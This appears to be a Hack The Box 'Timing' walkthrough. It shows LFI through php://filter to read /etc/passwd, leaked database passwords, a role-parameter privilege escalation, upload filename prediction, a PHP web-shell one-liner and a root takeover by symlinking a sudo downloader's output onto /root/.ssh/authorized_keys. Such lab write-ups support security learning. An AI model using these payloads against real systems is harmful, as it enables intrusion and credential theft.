Enumeration

nmap

TCP

Nmap 7.92 scan initiated Mon Jan 24 08:52:42 2022 as: nmap -sCV -p22,80 -oN nmap_tcp 10.129.223.11
Nmap scan report for 10.129.223.11
Host is up (0.033s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
|   256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_  256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: Simple WebApp
|_Requested resource was ./login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 24 08:52:53 2022 -- 1 IP address (1 host up) scanned in 10.61 seconds

UDP

# Nmap 7.92 scan initiated Mon Jan 24 08:53:04 2022 as: nmap -sU -oN nmap_udp 10.129.223.11
Nmap scan report for 10.129.223.11
Host is up (0.066s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc

# Nmap done at Mon Jan 24 09:10:08 2022 -- 1 IP address (1 host up) scanned in 1024.67 seconds

Web

gobuster dir -u http://timing.htb -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt -x php,txt,bak,conf,zip,tar,xml -o htb/timing/gobuster_root.out
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://timing.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              tar,xml,php,txt,bak,conf,zip
[+] Timeout:                 10s
===============================================================
2022/01/24 08:57:46 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 309] [--> http://timing.htb/images/]
/js                   (Status: 301) [Size: 305] [--> http://timing.htb/js/]    
/css                  (Status: 301) [Size: 306] [--> http://timing.htb/css/]   
/login.php            (Status: 200) [Size: 5609]                               
/logout.php           (Status: 302) [Size: 0] [--> ./login.php]                
/upload.php           (Status: 302) [Size: 0] [--> ./login.php]                
/image.php            (Status: 200) [Size: 0]                                  
/profile.php          (Status: 302) [Size: 0] [--> ./login.php]                
/index.php            (Status: 302) [Size: 0] [--> ./login.php]                
/header.php           (Status: 302) [Size: 0] [--> ./login.php]                
/footer.php           (Status: 200) [Size: 3937]                               
/server-status        (Status: 403) [Size: 275]                                
/db_conn.php          (Status: 200) [Size: 0]  

From the results of gobuster we notice that two pages responds with 200.

If we begin with trying to fuzz potential parameters on image.php we get an interesting response when doing GET /image.php?img=//etc/passwd.

HTTP/1.1 200 OK
Date: Mon, 24 Jan 2022 08:21:26 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 25
Connection: close
Content-Type: text/html; charset=UTF-8

Hacking attempt detected!

We are able to use php wrappers to bypass the protection

/image.php?img=php://filter/convert.base64-encode/resource=//etc/passwd

/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash

If we request db_conn.php we get a set of credentials

<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');

We try using these creds along with different variations of the username, but with no success.

Another interesting file is upload.php

<?php
include("admin_auth_check.php");

$upload_dir = "images/uploads/";

if (!file_exists($upload_dir)) {
    mkdir($upload_dir, 0777, true);
}

$file_hash = uniqid();

$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if (isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if ($check === false) {
        $error = "Invalid file";
    }
}

// Check if file already exists
if (file_exists($target_file)) {
    $error = "Sorry, file already exists.";
}

if ($imageFileType != "jpg") {
    $error = "This extension is not allowed.";
}

if (empty($error)) {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file has been uploaded.";
    } else {
        echo "Error: There was an error uploading your file.";
    }
} else {
    echo "Error: " . $error;
}
?>

We notice that upload.php included admin_auth_check.php

<?php

include_once "auth_check.php";

if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
    echo "No permission to access this panel!";
    header('Location: ./index.php');
    die();
}

?>

After some guessing, we manage to login with the user aaron:aaron on the webpage.

We prompted with a greeting stating that we are logged in as user 2.

If we look at index.php we notice that it echoes the userid tied with the session

<?php
include_once "header.php";
?>

<h1 class="text-center" style="padding: 200px">You are logged in as user <?php echo $_SESSION['userid']; ?>!</h1>

<?php
include_once "footer.php";
?>


The only thing that we are able to do from this user is to edit our profile

We capture the request and notice it being made towards /profile_update.php

<?php

include "auth_check.php";

$error = "";

if (empty($_POST['firstName'])) {
    $error = 'First Name is required.';
} else if (empty($_POST['lastName'])) {
    $error = 'Last Name is required.';
} else if (empty($_POST['email'])) {
    $error = 'Email is required.';
} else if (empty($_POST['company'])) {
    $error = 'Company is required.';
}

if (!empty($error)) {
    die("Error updating profile, reason: " . $error);
} else {

    include "db_conn.php";

    $id = $_SESSION['userid'];
    $statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
    $result = $statement->execute(array('id' => $id));
    $user = $statement->fetch();

    if ($user !== false) {

        ini_set('display_errors', '1');
        ini_set('display_startup_errors', '1');
        error_reporting(E_ALL);

        $firstName = $_POST['firstName'];
        $lastName = $_POST['lastName'];
        $email = $_POST['email'];
        $company = $_POST['company'];
        $role = $user['role'];

        if (isset($_POST['role'])) {
            $role = $_POST['role'];
            $_SESSION['role'] = $role;
        }


        // dont persist role
        $sql = "UPDATE users SET firstName='$firstName', lastName='$lastName', email='$email', company='$company' WHERE id=$id";

        $stmt = $pdo->prepare($sql);
        $stmt->execute();

        $statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
        $result = $statement->execute(array('id' => $id));
        $user = $statement->fetch();

        // but return it to avoid confusion
        $user['role'] = $role;
        $user['6'] = $role;

        echo json_encode($user, JSON_PRETTY_PRINT);

    } else {
        echo "No user with this id was found.";
    }

}

?>

The interesting part is

        if (isset($_POST['role'])) {
            $role = $_POST['role'];
            $_SESSION['role'] = $role;
        }

If the role variable is not set, then it will be equal to whatever the value submitted in the POST request is.

POST /profile_update.php HTTP/1.1
Host: timing.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 59
Origin: http://timing.htb
Connection: close
Referer: http://timing.htb/profile.php
Cookie: PHPSESSID=m14cqskhbjdd41q7d9qolf5nf5


firstName=test&lastName=test&email=test&company=test&role=1

And the server’s response

HTTP/1.1 200 OK
Date: Mon, 24 Jan 2022 13:50:36 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 419
Connection: close
Content-Type: text/html; charset=UTF-8

{
    "id": "2",
    "0": "2",
    "username": "aaron",
    "1": "aaron",
    "password": "$2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq",
    "2": "$2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq",
    "lastName": "test",
    "3": "test",
    "firstName": "test",
    "4": "test",
    "email": "test",
    "5": "test",
    "role": "1",
    "6": "1",
    "company": "test",
    "7": "test"
}

With role being set to 1 we have access to the Admin Panel. Once we press that we get access to upload_avatar

We need to synch our time with the remote server in order to have our file name of the uploaded file to match the remote one.

date -s $(curl -s --head http://timing.htb | grep ^Date: | sed 's/Date: //g' | awk '{print $5}')

Next, we make a short php script that will echo the potential file name

<?php
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . 'test';


echo "File name should be " . $file_name . PHP_EOL;
echo ""

?>

Finally, we run :

while true; do php hash.php; done

[..]

File name should be c8a80ac7c12f14312a6e2d30fb072c26_test

And we are able to figure out the file name.

After speaking with some fellow hackers, I wasn’t able to achieve command execution with a normal <?php system($_GET['cmd']);?> which others were able to achieve. Nevertheless, doing system('whoami') works.

After getting a hint of looking into /opt, we do and observesource_backup_files.zip`. We can base64 encode this via the LFI vulnerability and then decode it locally on our machine to get the contents.

After unzipping the file we notice that it is a git repo. We check the different commits and notice a change of DB password


 git show 16de2698b5b122c93461298eab730d00273bd83e
commit 16de2698b5b122c93461298eab730d00273bd83e (HEAD -> master)
Author: grumpy <grumpy@localhost.com>
Date:   Tue Jul 20 22:34:13 2021 +0000

    db_conn updated

diff --git a/db_conn.php b/db_conn.php
index f1c9217..5397ffa 100644
--- a/db_conn.php
+++ b/db_conn.php
@@ -1,2 +1,2 @@
 <?php
-$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');
+$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');

With the db password we gain access as aaron via ssh.

aaron@timing:~$ cat user.txt 
ae57cefedb4745a90365961de2e8f8ed

Looking at the sudo privileges, we find something interesting

aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User aaron may run the following commands on timing:
    (ALL) NOPASSWD: /usr/bin/netutils

aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar

If we run this the script

aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 

It gives us different options. If we select [1] we can enter an URL

Input >> 1      
Enter Url: http://10.10.14.2/test.txt
Initializing download: http://10.10.14.2/test.txt
File size: 5 bytes
Opening output file test.txt
Server unsupported, starting from scratch with one connection.
Starting download


Downloaded 5 byte in 0 seconds. (0.05 KB/s)

Looking at the files on our directory, we see that the file is owned by root


-rw-r--r-- 1 root  root       5 Apr  4 07:05 test.txt

If we try to write a symbolic link to /root/.ssh/authorized_keys to our public key, we can perhaps ssh with that to root

aaron@timing:~$ ln -s /root/.ssh/authorized_keys id_rsa
aaron@timing:~$ 
Enter Url: http://10.10.14.2/id_rsa
Initializing download: http://10.10.14.2/id_rsa
File size: 565 bytes
Opening output file id_rsa
Server unsupported, starting from scratch with one connection.
Starting download

  htb ssh -i ~/.ssh/id_rsa root@10.129.227.108
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Apr  4 07:12:42 UTC 2022

  System load:  0.0               Processes:           174
  Usage of /:   49.2% of 4.85GB   Users logged in:     1
  Memory usage: 16%               IP address for eth0: 10.129.227.108
  Swap usage:   0%


8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


root@timing:~# ls
axel  netutils.jar  root.txt
root@timing:~# cat root.txt 
1aa9ed9b9ea836de44bb66aee0c474d7